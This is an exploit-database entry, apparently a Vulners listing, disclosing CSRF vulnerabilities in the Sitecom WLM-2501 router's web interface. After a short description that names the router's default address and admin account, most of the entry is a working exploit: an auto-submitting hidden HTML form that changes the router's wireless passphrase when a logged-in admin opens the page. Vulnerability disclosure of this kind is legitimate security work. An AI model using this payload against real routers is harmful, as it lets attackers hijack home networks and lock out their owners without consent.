Sitecom WLM-2501 CSRF Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Sitecom WLM-2501 CSRF Vulnerabilities, Change Wireless Passphras


                                                +--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title    : Sitecom WLM-2501 Change Wireless Passphrase
# Date             : 13-03-2012
# Author           : Ivano Binetti (http://www.ivanobinetti.com)
# Vendor site      : http://www.sitecom.com/wireless-modem-router-300n/p/859
# Version          : WLM-2501
# Tested on        : WLM-2501 (All Sitecom WL series might be is affected by these vulnerabilities)
# Original Advisory: http://ivanobinetti.blogspot.com/2012/03/sitecom-wlm-2501-change-wireless.html
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
2)Vulnerability Description
3)Exploit

+--------------------------------------------------------------------------------------------------------------------------------+

1)Introduction 
Sitecom WLM-2501 is a Wireless Modem Router 300N which uses a web management interface - listening to default on tcp/ip port 80
- and &#34;admin&#34; as default administrator. His default ip address is 192.168.0.1.


2)Vulnerability Description
The web interface of this router is affected by muktiple CSRF vulnerabilities which allows to change router parameters and 
- among other things - to change Wireless Passphrase.

3)Exploit 
&#60;html&#62;
&#60;body onload=&#34;javascript:document.forms[0].submit()&#34;&#62;
&#60;H2&#62;CSRF Exploit to change Wireless Passphrase&#60;/H2&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://192.168.0.1:80/goform/admin/formWlEncrypt&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;wlanDisabled&#34; value=&#34;OFF&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;method&#34; value=&#34;6&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;wpaAuth&#34; value=&#34;psk&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pskFormat&#34; value=&#34;0&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pskValue&#34; value=&#34;newpassword&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;submit-url&#34; value=&#34;%2Fwlwpa.asp&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;save&#34; value=&#34;Apply&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;


+--------------------------------------------------------------------------------------------------------------------------------+

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1